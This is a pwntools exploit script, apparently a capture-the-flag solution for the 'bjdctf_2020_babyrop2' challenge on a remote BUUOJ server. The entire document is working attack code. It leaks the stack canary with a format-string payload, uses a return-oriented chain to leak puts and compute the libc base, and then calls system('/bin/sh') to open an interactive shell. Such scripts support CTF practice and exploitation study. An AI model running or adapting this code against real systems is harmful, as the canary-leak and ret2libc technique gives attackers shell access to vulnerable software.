1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41
| from pwn import *
context(arch='amd64', os='linux', log_level='debug') io = remote('node4.buuoj.cn', 27318) path = './bjdctf_2020_babyrop2' libc = ELF('./libc-2.23.so')
elf = ELF(path) io.recv() padding = 0x20 - 0x8 payload = flat(b'%7$p') io.sendline(payload) canary = int(io.recv(18), 16)
print('[+] Canary -->', hex(canary)) pop_rdi_ret = 0x400993 puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main = elf.symbols['main'] payload1 = flat(b'a'*padding, canary, b'a'*0x8, pop_rdi_ret, puts_got, puts_plt, main) delims2 = b'Pull up your sword and tell me u story!\n' io.sendlineafter(delims2, payload1)
puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) print('[+] puts_addr -->', hex(puts_addr))
libc_base = puts_addr - libc.symbols['puts'] system = libc_base + libc.symbols['system'] bin_sh = libc_base + next(libc.search(b'/bin/sh\x00')) print('[+] libc_base -->', hex(libc_base)) print('[+] system -->', hex(system)) print('[+] bin_sh -->', hex(bin_sh))
io.recv() io.sendline(payload) io.recv() payload2 = flat(b'a'*padding, canary, b'a'*0x8, pop_rdi_ret, bin_sh, system) io.sendline(payload2) io.interactive()
|